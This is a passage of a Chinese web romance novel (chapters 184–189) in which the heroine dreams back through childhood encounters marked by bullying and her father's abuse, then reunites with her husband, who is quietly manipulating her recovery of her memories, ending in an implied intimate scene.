后花园里亮着路灯,姜梨看着秋千上的男生,他的皮肤是病态的白,人非常瘦,一只胳膊缠绕着绷带挂在胸前,额头也缠绕着纱布,看上去很赢弱。 不知道怎么回事,男生从秋千上摔了下来,发出一声沉闷的响声,听着都疼。 姜梨赶忙上前去搀扶他。 韩聿泽原本以为是哪个好心的佣人,但是当他摸到她的手觉得有些不对劲,有些过于小了。于是问:“你是谁?” “我叫姜梨,在韩家走丢了。” 是小孩子的声音。 “你不要紧吧?”姜梨看着他吊在胸前的手,眉毛轻轻皱了起来,“要找医生来看看。” “不用了。”韩聿泽站直,表情有些麻木,眼神也很空洞。 周围静悄悄的,一个人都没有。 而且已经很晚了,姜祈安和姜梨是跟着楚云来的,如果她再不回去,他们又要找她。 到时候不仅她要挨骂,姜祈安也会被说。 姜梨仰头看着韩聿泽,“哥哥,你可以送我回大厅吗?” “我眼睛看不见,没法送你回去。” 姜梨这才知道他是个盲人。 她好像知道眼前的这个男生是谁了,她听姜祈安还有其他人说过一点点。 是韩二爷的儿子,韩聿泽。 韩二爷是警察,他的家人因为坏人出了意外,韩聿泽是唯一的幸存者,但是眼睛瞎了。 韩家居然连个佣人都不给他配,就让他一个眼睛看不见的人独自走动。 小小的姜梨对警察很敬仰,警察的家人当然也是好人。于是也不管自己是不是走丢了,先领着韩聿泽把他送回了他的住所。 然后借韩聿泽的手机给姜祈安打电话。 韩聿泽听着她对着电话另一头的人报地点,唇角勾了勾。 知道把他送回来可以打电话求救,是个聪明的小孩。 “哥哥,你记得叫一个医生过来哦。”姜梨看了眼韩聿泽,“韩家这个哥哥从秋千上摔下来了,应该受伤了。” 韩聿泽愣了一下,没想到她会说这个。 姜梨挂断电话,把手机还给了韩聿泽,然后坐到他旁边,晃着两条肉肉的短腿。 姜祈安来的很快,是姜梨开的门。 他也找来了韩家的医生。 “哥哥再见,注意身体。”被姜祈安牵着走的时候,姜梨对着韩聿泽挥了挥手。 紧接着画面一转,黑夜变成了白天,她依旧站在这个花园里,她身上的衣服也换掉了,不再是公主裙,而是简单的短袖短裤。 姜梨突然有人说:“反正他妈妈也不喜欢他,韩家人就没人欢迎他,死了就死了!” “就是就是,我爸爸也是韩家人,司韩野的爸爸都不知道是谁,他本来就是个野种!而且还是个怪胎,淹死了也不会有人怪我们的!” 姜梨一抬眼,就看到不远处的喷泉水池里有一个人影。水花四溅,那个人在挣扎。 然而围观的少年和小孩没有一个人上前搭救,就连帮忙喊人都没有。甚至还有人在他抓到水池边缘要爬上来的时候掰开了他的手指,周围的人见状纷纷捡起石头砸向他,司韩野再次溺水。 这次他没有挣扎,身体慢慢沉了下去。 姜梨的瞳孔猛缩了一下,她难以置信的看着眼前的这一幕,大声尖叫了起来:“你们在干什么!” 第184章 你爹 他们怎么可以那样对他!怎么可以! 一群人听到姜梨带着怒意的吼声纷纷开始逃窜,一下子就没了人影。 姜梨顾不得那么多,迈着腿就跑向喷泉,大声的喊:“阿野哥哥!!” “救命啊!有人落水了!!” “有没有人!” 花园里静悄悄的,很明显就是被人故意清了场,她喉咙都喊疼了也没一个人。 姜祈安给她报过游泳班,她学的很好。 只是司韩野大她那么多,她能救的起来吗? 看着空荡荡的园子,姜梨一咬牙,一头跳进了喷泉池里。 水里的司韩野双手张开,任由水钻进他的鼻子里,俨然已经是放弃了生。 死了也没什么,死了就解脱了。 就在他要闭眼的时候,就看到一个人跳了下来。在看清来人是姜梨的时候,他的眼睛一下子就睁大了。 她是蠢的吗!跳下来做什么! 姜梨已经抓住了他的手,但是她拉不动他。 司韩野不会游泳,他想挣脱她的手,想让她不要管他自己游上去,但是一张嘴水就钻进他的口腔里,然后冒出一长串的白泡。 但是姜梨也不知道是哪里来的力气,死活不肯撒手,还被他这个挣脱的动作给惹恼了,凶巴巴的瞪他。 最后是赶来的管家把他们救上去的。 上岸后,司韩野把呛得水咳出来之后,刚想吼姜梨,就先挨了她一巴掌。 她力气不大,但是还是把司韩野打懵了。 连旁边的管家都吓了一大跳。 姜梨是年纪小,但也不是什么都不懂。他刚刚是想扯开她的手不要她救的,他想寻死。 “你现在一点都不漂亮了!我不要再跟你玩了!” 她不知道怎么骂人,到最后只吼出来这么一句话,然后头也不回的就跑了。 姜梨浑身湿透的回到了厅前,楚老夫人正在跟韩老夫人聊天,楚云也在和韩聿言说话,见姜梨这副模样回来,一行人都愣了一下。 楚老太婆眉毛一皱,看了眼楚云,眼神里有些怒意。 楚云被这么一看,当即就站起来想要把姜梨拉走,嘴里都是责备:“你又是上哪野了?弄成这样成何体统!赶紧跟我回家!” 韩老夫人听着她的话有些不满,“这哪里是野的?她全身都湿透了,先带她到楼上去换身衣服再说。” 未等楚云拒绝,韩老夫人手一挥,身边贴身跟的女佣就走了上来。 “姜夫人,姜小姐,跟我来吧。” 听到这句称呼,楚云的脸微僵了一下。 她拽着姜梨的手紧了紧,楚老爷子没说话,楚云也不敢拒绝,只能带着姜梨跟他上了楼。 姜梨换上了韩伊小时候的衣服。 韩老夫人保存的很好,每年都会洗,非常的新,大小也合适。 大概也是看出来楚云对姜梨的态度并不好,那名女佣一直守在外面。祖宅的隔音很差,楚云有气也不敢撒,只能是给她换衣服的时候掐她几下。 换好衣服就下去了。 韩老夫人招呼姜梨坐到她身边,然后柔声问她:“告诉奶奶是有人欺负你了吗?” 被欺负的人是司韩野。 看今天那个架势,他在韩家跟她在楚家是一样的,一样的寸步难行。 她不知道韩老夫人对司韩野是什么样的态度,不敢说。姜梨怕说了,她非但不会给司韩野撑腰,反而还会背地里责怪他,那些小孩会变本加厉的欺负他。 她有哥哥护都经常被姜月汐她们刁难,司韩野什么都没有,只会比她更惨。 寄人篱下,不得不夹着尾巴做人。 姜梨摇头,回答:“没有,是我自己不小心掉进池子里了。” 韩老太太自然是不相信的,但是姜梨就是一口咬定这个说辞,她也就没有再问。 离开的时候姜梨遇到了从外面走过来的司韩野,她看了他一眼,然后就低下了头。 旁边跟着楚老夫人和楚云,表情都不太好看,还在不断的数落她。 楚老夫人大概是因为跟韩家谈事情没谈妥,所以把气都撒在了姜梨身上,更是抬手打在了她脸上,“丢人现眼的东西!” 她不过是落了水,到底丢了她的什么人?又现了什么眼? 眼看她还想打她第二个巴掌,司韩野叫住了她。 他走上前,冷冷的睨了这两个大人一眼,语气不算太好的解释了一下前因后果,表示姜梨是为了救他才弄成这样的。 她们虽然不认识司韩野,但是并不想再次惊动韩老夫人,草草的应付了他几句就拉着姜梨快速的离开了。 梦境里的画面又一次切换,姜梨梦到了江淮之跟她说过的那件事。在沈月汐的生日宴上,她给他解了围。 和他说的没有差别。 画面再次转换。 姜梨长大了一些,她穿着有些不太合身的校服,孤零零的蹲在昏暗的巷道里。 她的脸上还带着新鲜的伤痕,全身的骨头都在疼,但是她不敢回家。 她和姜铭生刚搬来江城半个月,在这半个月里,姜铭生每一天都在酗酒,然后就会把她看成是楚云,紧接着就会把所有的恨意和不满都发泄在她身上。 今天她因为做值日,耽误了半个多小时,姜铭生只会打得更狠。 但是人倒霉的时候喝水都会塞牙缝,两个穿着职中校服的混混此时走了进来。看到姜梨一个人蹲在这里,相互看了一眼,然后就开始坏笑。 姜梨心里发毛,站起来想要跑,那两个人也追着她不放。 彼时的姜梨也不过才八岁,根本跑不过他们,很快就被其中一个人一把揪住了后衣领。 “小妹妹跑什么?哥哥送你回家!” 姜梨从外套口袋里摸出来一支钢笔,偷偷的拔掉笔帽,然后反手狠狠的扎进他的胳膊。 “啊!!”男生发出杀猪般的惨叫,立刻松开了手,一脸痛苦的捂着流血的胳膊。 旁边站着的人骂了一句什么,想要去抓她。 然而手还没碰到姜梨,后脑勺就被一个石头砸了一下。 “哪个傻逼!?” 一个留着寸头的男生这时从路口里走了出来,手里还握着一颗石头,回了一句:“你爹。” 第185章 我叫姜梨,梨花的梨 巷道里亮着一盏路灯,有时熄灭,有时亮起,那人的脸也忽明忽暗。 姜梨隔着几米的距离看着他,大脑有些宕机。 时隔两年,他长得凌厉了很多,比以前还要冷几分,但是依旧漂亮。 “江……江野?” 那两个职高的人认识他,脸都变成了菜色。 哪里会管还在流血的手臂,两个人一前一后的就跑没了影,那个速度快的令人发指,感觉是有什么洪水猛兽在追他们似的。 巷道静了下来,姜梨紧绷的身体和大脑神经也逐渐放松,手里握着的那支钢笔也从她手里掉在了地上。 江野扔掉手里的石头,站定在她面前。 她身上的衣服是江城三小的。 他不知道姜梨为什么会出现在江城,更不清楚姜家小姐为什么会在西巷这种穷乡僻壤的地方上学。 江野问她:“住哪儿,送你回去。” 现在的确是已经很晚了,躲得过初一也躲不过十五,再晚下去只怕会被打骂得更惨。 她把手缩进袖子里,走在前面,江野不远不近的跟在她身后。 熟悉的路,熟悉的街,熟悉的楼。 姜梨居然就住在他家楼上。 走的时候,姜梨给他塞了几颗糖。和上一次在生日宴上给的不一样,是千纸鹤糖。 她眼眸低垂,跟他道谢:“谢谢哥哥。” 江野眼神微动,把糖放进了口袋里。想抬手摸一摸她的发顶,最后还是不动声色的放下了胳膊。 他嗯了一声,然后下楼准备去汽修店。 他在汽修店里有一份打杂的活,每天晚上都要过去,今天姜梨在的那条巷道是他去汽修店的必经之路。 本来西巷这边就不太平,每天这个时间巷道里都会有这种事情。他原本不想多管闲事,但是他听到求救声的一瞬间,立马就听出来这是姜梨的声音,这才出来把那两个人渣给赶跑了。 姜梨看着他的后背,再一次叫住了他。 “哥哥。” 江野停住,扭头看她。 “阿愿是我哥起的小名。我叫姜梨,梨花的梨。”遇到那么多次,她好像都没告诉过他名字。 “嗯,我知道。”江野正处于变声期,有些哑,但是却出奇的好听。 姜梨点点头,“哥哥再见。” 江野走出单元楼,抬头看了眼姜梨家的方向,亮着灯。挂着的衣服里除了她的校服之外,还有几件成年男人的衣服,应该是她哥哥或者是她爸爸。 汽修店里,只有陆七一个人在。 他穿着一件白色的大褂,在搬卸下来的轮胎,脸上蹭到了点机油。 “怎么才来?”陆七把轮胎放好,随手擦了一把脸上的汗,看到江野大夏天的穿了件外套,眉毛皱了一下,“你妈回来了?” 江野表情很淡,“路上看了会花,挺漂亮,就来迟了。” 对韩伊的事情闭口不谈。 陆七也没多问,顺着他的话茬往下接:“在哪看的?这附近哪里有花店?” “路边开的。” 花店里的花可没她好看。 江野也开始忙了,陆七看着他的身影,总觉得他的神色虽然一如既往的冷,但是心情似乎很不错。 结束的时候江野突然对他说:“帮个忙?” “什么?” “帮我查个人,叫姜梨的。” 听这名字,陆七问:“女的?” “昂。” 陆七觉得稀奇。认识江野四五年,他第一次让他帮忙居然是让他查一个姑娘。 在他还没回神的时候,就听到江野又说了一句:“就是北城姜家的小姐,查一下姜家近两年出了什么事。” “行。” …… 陆七的效率很快,不到三天就已经把姜家查了个底朝天。 “你说的那个叫姜梨的,她爸妈在去年的四月份就离婚了。她妈出轨了沈家的老总,后来她妈跟沈君临合伙把姜梨他爹给搞垮了,姜氏现在也变成了沈家的资产。因为是她妈出轨在先,也分到了点财产。” “不过姜梨的日子应该不好过,因为在法庭上的时候她爸妈都不肯要她,最后是按照法律法规判给她爸的。她哥和那个二姐都跟了她妈,二姐现在是沈家的三小姐,她哥被送出国深造了,杳无音讯。” “离婚之后她爸和她还在北城生活了一段时间,但是后来她爸发酒疯把一个人给打死了。她妈出面处理的,最后她爸就被判了八个月。但是被打死的那个人刚好是姜梨同学的哥哥,因为家属闹得太厉害了,她就退学了,然后她爸和她就在北城消失了。” 陆七讲完这些,忍不住感叹了一句:“这姑娘也是够可怜的,摊上这么个妈,一个家就这么散了。” 江野也良久都没说话。他有想过她家可能是破产了,所以她才会来西巷这边,却没想到事实居然会是这样的。 小公主,就这样跌进了泥里。 “不过,你为什么会知道她?”陆七有些疑惑的看向江野。 “前两天我说我在路上看到的那朵漂亮的花,说的就是她。”江野也没再藏着掖着,直接说:“我之前在韩家也遇到过她,她救过我。” 陆七惊得眼睛都瞪大了,没想到江野和姜梨居然还有这段渊源? 江野和陆七依旧翘掉了晚自习,五点多就翻墙出了学校,去汽修店。 回家的时候是九点半,天上挂着一轮明月。 老式的独栋居民楼没有电梯,楼道的灯也是坏的,时而亮,时而不亮,发出滋啦声。 正要走进楼道,就看到一个人坐在楼梯口。 是姜梨。 她的校服没有那天那么整洁,染了很大一块的墨痕,头发也乱糟糟的,一张白净的脸被抓了好几道印子,有几条还在往外冒着血珠。 好不可怜。 姜梨也没想到会遇到江野,通红的眼睛直愣愣的盯着他。 注意到他的目光,姜梨“咻”的一下站起来,招呼都不打的就要往上跑。 江野往上走了几步台阶,伸手抓住她的书包制止她逃跑的行为,问她:“学校有人欺负你?” “没有。”姜梨被他抓住,走不了,小声回了他一句。 撒谎。 “打回去了没有?” 姜梨沉默。 江野松开她的书包,撂下一句:“明天早上在我家门口等我。” “什么?” “教你以牙还牙,以眼还眼。” 第186章 以牙还牙,以眼还眼 姜梨第二天没有等江野,一连好几天她都没再见到他。 在学校里要应付欺凌她的人,回家了要应对姜铭生,日子过得水深火热的,也没空再去想江野。 大约过了两天左右,那些找姜梨麻烦的人突然换了个目标,她的日子才算是轻松一点。 然而姜铭生这两天发过一场酒疯,抓着姜梨就是一顿打。她只能蜷缩起身体将后背对着他,尽量护着自己的脸和肚子,咬着牙一声不吭。 一旦发出声音,姜铭生会打的更狠。 “婊子!婊子!” 他狠狠的甩着皮鞭,嘴巴里还骂着各种难听的污言秽语。眼睛瞪的很大,眼底猩红,眼里是滔天的怨毒和恨意。 前段时间的旧伤还没好透,现在又叠了新伤。天气又很炎热,伤口感染发炎导致姜梨发了高烧。 姜铭生不管她,她就自己找了退烧药吃,然后缩在自己的那张小床上昏睡了过去。 江野接到宋折的电话时已经是半夜十一点了,他刚回到家。 宋折:“野哥,你让我找人护着的那小姑娘已经两天没去学校了。” 听完他的话,江野眉毛轻轻皱了一下,而后道:“那几个杂碎又烦她了?” “学校里的人看着呢,没有。”宋折“害”了一声,“不过是几个黄毛丫头而已,你又是威胁又是警告的,她们哪敢再去招惹那小姑娘?” 江野:“知道了。” 电话挂断,他走到阳台上,仰头看向楼上姜梨家的方向。 灯是开着的,有人在家里。 她是生病了吗? 江野打开冰箱门,里面还有一半的西瓜,是昨晚买的。 他拿出来切了块摆进了盘子里。 端着盘子站到姜梨家门口的时候,江野都怀疑自己是不是中毒了。 在巷道里给她解围,想方设法的帮她解决学校里欺负她的人,偷偷找人保护她都是为了报答她前两次的恩情。 那他现在的做法是为了什么? 确认她是不是生病了才不去学校?但是她生不生病跟他有什么关系? 他管的是有点太多了。 江野看着那扇紧闭的房门抿了抿嘴唇,他转身刚想走就碰到了拎着一袋药回来的姜梨。 四目相对的一瞬间,江野的心脏颤了一下。 姜梨的脸色有些苍白,淡色的嘴唇有些干裂,看上去憔悴得很。 她手里拎着一袋药,江野扫了一眼,除了感冒药以外还有碘伏和纱布这类外伤药。 江野回过神,对她说:“送给你家的。” 姜梨看着那盘西瓜,先是跟他道了谢,然后说:“我不爱吃这个,哥哥你还是拿回去……” 她话都还没说完,紧闭的门就突然被人打开了。姜铭生那张泛红的脸出现在两个人的视线里,紧接着就是他的怒吼声:“小杂种!买个药去那么久!” 浓烈的酒气扑面而来,江野看着姜铭生皱了皱眉。 姜梨的脑神经瞬间紧绷起来,同时又觉得有些窘迫,脸烧了起来。 姜铭生也察觉到了不对劲,眯着眼打量起了江野。约莫十几岁的孩子,长得还挺俊的。 他看着姜梨,一下就知道两个人认识。 他们刚搬来没多久,姜铭生没有工作,整天在家里喝酒,对这周围的邻居更是连照面都没打过。 姜梨倒好,跟人熟到人家主动上门送西瓜的程度了。 长着一张漂亮的到处勾引人,当真跟她那个妈一样,是个天生的狐狸精! “爸爸,这是楼下的邻居。” 姜铭生扯住她的胳膊将她一把拽了进来,然后就将门给砸关上了。 门刚关上,姜梨还没站稳,姜铭生就一巴掌朝她扇了过去。觉得不够,又抬起脚将她踹倒在地上。 他指着趴在地上的姜梨,怒呵:“小小年纪就不学好!不准再跟刚刚那个男生有来往!否则老子就像之前那样!打死他!” 姜梨不敢再跟江野说话,有时候遇到了她就低下头,然后当没看见一样越过他。 江野也没和姜梨有交集。 就这样相安无事的过了几个月,冬天的时候姜铭生已经不满足于在家里喝酒了,他开始去各种各样的酒吧和夜店。 挥霍离婚时分到的财产。 很快,姜铭生就凭借着优越的外形条件哄骗到了好几个有家庭的女人。 其中有两个就是他们这栋楼的住户。 这一天,姜梨放学回来,还没走进单元楼就被楼上浇下来的一盆水淋成了落汤鸡。 现在已经是十二月份,江城的气温已经是个位数了,风一吹,姜梨感觉自己要冻成一座冰雕,僵硬的都没法抬头看一眼是谁泼的水。 动静有些大,楼里的住户都纷纷往外看。 一看被淋的人是姜梨,表情从震惊变成了了然。 就姜铭生这一个月里的行事作风,被人报复也不奇怪。 看热闹的人越来越多,对着姜梨指指点点的人也越来越多,耳边都是他们七嘴八舌的咒骂。 就在这时,她背上的书包突然被人拎了起来,一只手掌抓住了她的手腕。 “跟我来。” 是江野。 姜梨像一个提线木偶被他牵着往上爬。 江野先是把她的书包放到了家里,然后不知道是在哪里找到了一套干净的女装,让她去他的房间里换。 “换下来的衣服扔这个袋子里,锁门,我在外面。” 不等姜梨拒绝,他就已经把人推了进去。 在姜梨换衣服的时候,江野在卫生间接了一盆冷水。姜梨一出来,江野就让她跟着自己走。 他们下到了四楼。 “去敲门。”江野对着她扬了扬下巴。 姜梨冷的找不到北,江野怎么说,她就怎么做,完全没有思考能力。 开门的人是个十七八岁的男生,见来人是姜梨,他的脸色骤变,开口就对着她骂了一句脏话。 躲在门后的江野把姜梨拉到自己身后,然后一盆水直接照着他就泼了上去,盆还砸到了他脸上。 江野的脸色有些沉,“你叫你妈呢。” 男生被冻的嘴唇都在发抖,他抹了一把脸上的水,看到站在门口的是江野,又气又怕,半天憋不出来一个字。 这个人是个疯子,他不敢惹。只能一声不吭的关上门,吃下了这个亏。 “看到没有?”江野低头看着姜梨,一字一句的对她说:“别人这样欺负你也要用同样的方式还回去。” “以牙还牙,以眼还眼,这是人的生存之道。” 第187章 哥哥不想我吗 就是这一天起,姜梨发誓永远都不会忘记江野。 可后来她不仅忘了,还忘得彻底。 只记得这一句话:以牙还牙,以眼还眼。 她被强硬的消除了关于江野的一切,但是在潜意识里又一直都记得他说过的话。 怪不得她第一次在疗养院见到他时总是有一种熟悉感,原来她早就认识他了。 被强行消除记忆的大脑忘记了江野的存在,但是那颗心在见到他的时候还是会不受控制的悸动。 姜梨醒过来,翻身坐了起来。 她还想继续想之后发生了什么,但是一想,头疼的就快要裂开。 额头出了点细汗,姜梨吐出来一口浊气,拿出手机拨通了江淮之的电话。 电话铃响了两声就被接了起来,江淮之的声音透过听筒里传进耳朵,带着微弱的电流,“怎么了?” 姜梨的声音有些沙哑:“你在哪里?” “北城。” 她接着问;“我可以过去吗?” 想见他。 江淮之安静了几秒钟,然后说:“叶辞是在樱洲。他虽然恢复的很好但是还没有醒,你现在过来没……” 他以为她是想看叶辞才会提出想出去。 姜梨担心叶辞不假,但是她现在这一刻只是因为想见他。 “哥哥。”姜梨打断他,眼睫扇动了一下,“我是想找你,你明天能回来吗?” 因为姜梨的这通电话,江淮之推掉了一些紧急会议,就算有很重要的会议,他也都改成了线上。 然后让谢铭订了一张飞往港城的机票。 姜梨让他明天回去,无非就是看现在太晚了,不想他大半夜的折腾。 祖宅那边他也刚通过电话,姜梨没有问题。但是她已经很久没主动给他打过电话了,更不会主动说过想见他这种话。 她不对劲,江淮之不放心。 会议室里的人面面相觑,不知道他们的老大是个什么意思。但是谢铭都没跟江淮之说什么,他们这些人更是不敢说话。 江淮之才去过樱洲处理分公司的工作回来,到北城又去了司氏参加了几场重要的会议,新收购的沈氏刚步入正轨,他这个总裁忙得焦头烂额。 现在又要飞港城,三个地方连轴转,都没停过。 他到港城机场的时候是夜里十一点,回到祖宅的时候已经十二点了,因为是突然回来的,他也没有告诉韩老太太,也就没有人迎他,整个宅邸都非常安静。 江淮之径直去了姜梨的房间。 房间里依旧亮着一盏暖黄色的灯,姜梨没有睡在床上。而是坐在地上,后背靠着沙发睡了过去。 她的脚光着,没有穿袜子。 已经是秋天的季节,夜里还是凉。 江淮之的眉毛皱了起开,大步流星的走上前,抱起她就往床的方向走。 姜梨睡得浅,身体腾空后的几秒钟就悠悠醒了过来。 她看到江淮之的那张脸,下意识亲昵的蹭了他一下,“你不是说明天回来吗?” 江淮之把她放到床上,拉过被子盖在她身上,“你不是想见我?” 他眼下有一层淡淡的青色,脸上带着倦意。 “有事要跟我说?” 姜梨想了想,对他道:“以前的事情我想起来了一些。” 听到她的话,江淮之的身体顿了一下,他看着她的眼神也暗了下去。 想起来了一些,那到底是哪一些? 他没有说话,静静的等着她的下文。 “第一次见面是在港城,就在祖宅这里,我进了你的房间。然后过了两年,我又在江城遇到你了,你帮了我好多次。” 然后就没有后文了,她就只想起来了这些。 江淮之提起来的心又落了回去,坐在床沿上,抬手理了一下她的头发,“有哪里不舒服吗?” 姜梨:“头有点疼。” 洛骞跟他说过,这是正常现象。 “明天让洛骞给你做个检查,先睡一觉,会好一点。” “那你呢?你睡哪里?”姜梨问他。 江淮之帮她掖了一下被角,“沙发。” 姜梨掀开被子爬了起来,然后坐到了江淮之的大腿上,搂着他的脖子,在他身上蹭来蹭去,嘴里不停的喊哥哥。 江淮之的喉结滚了好几下,想把姜梨从他身上抱下去。但是她察觉到了他的意图,手搂得更紧。 “哥哥你不想我吗?”姜梨的脸有些红,说话时吐出来的气都是烫的,眼里蒙着一层水雾,水光潋滟。 “想的。但是很晚了,你该睡觉了。”江淮之亲了亲她的眼皮和眉心,安抚意味很浓,“听话。” 姜梨嗯了一声,然后松开手爬回了被窝里。 —— 第二天,姜梨和江淮之去见了洛骞,做了一套系统性的检查。 洛骞单独跟江淮之谈了五分钟。 “她现在是不是很快就能恢复所有记忆了?” “先是同意她断药,再是把她带到韩家祖宅。”洛骞翻看着姜梨的检查结果,确认没有问题以后放到了桌面上,然后看着江淮之冷笑了一声:“司总不就是想让她全部想起来吗?既然如此,现在又着什么急?” 自从江淮之说要把姜梨送到韩老夫人那里时候,他就已经猜到他心里在想什么。 长时间待在记忆里特殊的环境里,本身就会刺激到她的大脑从而导致恢复记忆。江淮之无非就是想让姜梨想起来这些,从而让她打消离开他的念头。但是他又怕姜梨想起来以后会怕他,离他更远。 对于江淮之的这个做法,洛骞是生气的。 但是又无可奈何,他不过只是一名心理医生而已,不是家属,约束不了那么多。 “有一点你说错了。”江淮之扯了扯嘴角,纠正他:“同意她断药不是为了让她恢复记忆,而是因为想养崽。” 洛骞被他的话惊到了,抄起桌上的药瓶就朝他砸过去,甚至飙出了英语狂骂他:“想过你狗,没想到你会这么狗!人姑娘还病着你就想生崽,司韩野,你他妈还是个人?” 江淮之微微偏了偏脑袋,躲了过去。 那一次他的确是气狠了才会说出那种话,但是他没来真的。不过他万万没想到姜梨自己会在他说出那样的话之后,就偷偷停药。 他是想用孩子困住姜梨,不让她离开他。 姜梨却是真的想过生一个健康孩子。 嘴上说不爱他,说不要,说要离婚,行动倒是没那么抗拒。 想到这,江淮之笑意更盛。 洛骞看着他的这个表情气血上涌,直接把人赶了出去。 畜生! 畜生!! 第188章 我想跟你睡 姜梨和江淮之没回祖宅,而是回幽谷居。 车流涌动,有些堵车。车子恰巧停在了那家她常吃的糕点店,透过玻璃窗,姜梨看到了一个人。 他戴著口罩和墨镜,身形颀长,站在长长的队伍里格外显眼,吸引了不少人的目光。 姜梨也不知道为什么,明明没有露脸,仅凭身型,她就能认出来这是时樾。 一时间姜梨看著那道身影有些愣神。 也许是她的目光过于强烈,时樾竟然扭头朝她这边看了过来。 她知道时樾在外面看不到她,所以姜梨没有移开视线,隔著一扇窗和墨镜镜片跟他对视。 坐在她身边的江淮之注意到了她的动作,顺著她眼神的方向看了过去。 时樾此时已经走了,江淮之只看到这家排著长队的糕点店。 姜梨爱吃这一家的东西。 江淮之就对谢铭道:“在前面等我。” 说完就拉开车门下了车,然后排到了队伍的末端。 刚走一位帅哥,现在又来一位。 不过这一个露了全脸,看上去要更冷一些。像冬季里的雪松,只可远观,不能靠近。 二十分钟后,江淮之买到了姜梨从前常吃的几样。店员打包好递给他时忍不住多看了他几眼,然后又快速低下头。 面前的这个男人可谓是极品中的极品,爱美之心,人皆有之,她们多看几眼也无可厚非。 在江淮之拎著袋子走出去时,他看到了排在后方的司南泽。 早在一个星期之前,江淮之就已经听到了司南泽来港城复诊的讯息,所以遇到他也没什么好奇怪的。 他目不斜视的往前走,丝毫没有要停下来的意思。 倒是司南泽先叫住了他。 “大哥。” 江淮之现在是韩家老大的事情还未公开,但是司家那边的人都沆瀣一气的想要踩他一脚。 今时不同往日,现在的司家家主明面上是江淮之同父异母的弟弟,实际上是掌握总公司的司南衍,他明里暗里的都在打压江淮之,虎视眈眈的想要吞掉江淮之在司氏的股权。 其他人自然是见风使舵的货色。 北城太子爷又如何?没有了司家家主和司氏总裁的身份,又算得了什么? 司南泽这声大哥倒显得是一股清流了。 然而,江淮之并不打算要理他这个假货。 “我的眼睛能重见光明,还是拖大哥你的福。” 江淮之的脚步停住了,缓缓扭头看向他。 司南泽看著他的反应笑了笑,眼神却一寸一寸凉了下来,“我原来都不知道,大哥这么关心我的身体状况。” “我的大哥告诉过我,长兄如父。”江淮之神色自若,语气平淡,“况且我作为司家家主,关心庇护司家人是我的职责之一。” 司南泽一字一顿的重复了一句长兄如父,然后他走近了几步,压低了声音,对江淮之说:“既然如此,我有件事想问问大哥。” “知道弟弟年少时犯了错,那作为哥哥的你,能不能继续庇佑我?” 江淮之听懂他的暗喻,他挑眉笑了一下,“我和司南赫尚且能算得上是兄弟,但我和你的关系怎么著也到不了这一步。你犯了什么错该怎么解决,你需要怎样的庇护,该找的人都是司南衍和司南赫,而不是我。” “只要不牵扯到我,别说是装瞎装病了,你就算是杀了人都跟我没关系。司南泽,你越界了。” 江淮之说完这句话后就直接离开了。 司南泽看著他的背影,笑容迅速消失不见,神情微冷了下来。 就算是走黑白两道,司南泽现在也不敢动江淮之。 江淮之的身边有谢铭和简清时,还有司南赫,他已经认祖归宗,是韩家人。 不知想到什么,司南泽的眼里又化开一点笑意。 他是不能杀他,但是不代表别人不可以。 …… 港城一连下了三天的雨,江淮之这几天大部分时间都待在书房,他很忙,姜梨没敢去打扰他。 手机现在对于她来说已经不是通讯工具,而是娱乐设施。 经过上次在樱洲被江淮之“抓”回来,她不敢再去联络谢鹤扬和纪繁星他们。叶辞遭人陷害,现在昏迷不醒。江淮之还在背地里调查沈翊的下落,他现在也不能轻易露面,疗养院的事情没人再给她通风报信。 不过,上次她和夏栎见的时候,她说那个人快醒了。 姜梨从床垫底下摸出来那几张照片来回翻看,眼神越来越阴沉。 她和江淮之的婚期就快到了,有些事情是该她来做,也只有她能做。 凌晨两点。 姜梨从噩梦中惊醒,喉咙干的有些痛,缓了缓神就想去倒水喝。掀开盖在身上的薄被,下床的时候感觉到了不对劲。 原本光秃秃的膝盖被贴上了两贴药膏。 江淮之来过。 算了算时间,他们已经有两个月没有同床共枕过了,也没有过什么亲密接触。 他从北城回来的那天,姜梨想,但是江淮之以时间太晚为理由拒绝了,甚至这几天都不跟她睡一张床。 第一次的时候江淮之就是直接在她睡著的时候把她扒了个干净,怎么现在这么正人君子了? 大概是因为心里有件大事要做,再加上想起来了几段以前的事情,所以才会这么躁动。 而且凭什么他想就行,她想的时候就不行? 这样想著,姜梨就已经站在了江淮之的卧室门前。握住门把轻轻的转动,然后走了进去。 房间里开了一盏台灯,落地窗的窗帘被拉开,江淮之站在那里,听到动静扭头朝她看了过来,唇边亮著一点猩红。 他刚洗过澡,身上套著一件黑色的真丝睡袍。 姜梨发现江淮之和黑色的适配度是百分之二百,少了温润,多了野性,性感又迷人。 江淮之把烟掐灭,声音有些沙,“做噩梦了?” “没有。”姜梨摇了摇头,然后把门给关上了,眼睛直勾勾的盯著他看,一字一句道:“我想跟你睡。” 第189章 婚礼前夕 江淮之听到她的话顿了一下,而后对她点了点头。房间里空调的温度有些低,姜梨会冷,他调高了几度。 又去找了一床空调被。 “不是要跟我睡觉?”见姜梨还站在原地没动,江淮之拍了拍床铺,“过来。” 姜梨抿了抿唇,走了过去。 她没有上床,而是一把揪住了江淮之的衣领,突如其来的动作让江淮之愣了一下,但是身体还是下意识的顺着她的力道弯了下去。 他看着姜梨的眼睛,“怎么……” 姜梨没让他把话说完,踮起脚,微微仰头亲在了他的唇瓣上。 江淮之的声音戛然而止,瞳孔猛缩了一下,眼前放大的脸逐渐与另一张稍显稚气的脸重合。 动作和她之前第一次强吻他的时候一样的大胆,呼吸一样的颤抖,吻技一样的烂,毫无章法的乱啃。 姜梨抓着他衣领的手越收越紧,手心里都出了一层汗,耳朵又红又烫。 她的眼睛闭着,看不到江淮之的神情,但是吻了这么一会儿他都没有回应。 于是姜梨又伸出舌头小心翼翼的舔了一下他的唇瓣。 就这个动作,堪比在燃烧着的火堆里丢了一把干柴,火烧的更旺,噼里啪啦的炸出火星。 江淮之的眼神彻底暗下来,加深这个吻,将主动权夺了回来。 两个人的身高差有点大,这个姿势会让姜梨很累,于是江淮之坐回了床上,让姜梨坐到他腿上。 他吻得深,姜梨今天也很热烈。 唇舌交缠在一起,搅拌出了暧昧的水声。 两个多月没有亲近过,这样热烈的吻,让姜梨的身体反应非常大。 雨天的空气是润潮的,此刻的她也是。 姜梨的手不断往下,摸到了金属的触感,是皮带。 但是她半天都解不开,她又急切的去解他的衣扣。 “想吗?”江淮之抓住她的手,含着她的唇瓣,眼睛很红。 “哥哥不想吗?”姜梨的声音都在颤。 江淮之松开她的唇,抱着她站了起来往浴室里走,姜梨的腿就顺势缠上了他的腰。 他直接用行动告诉了她答案。 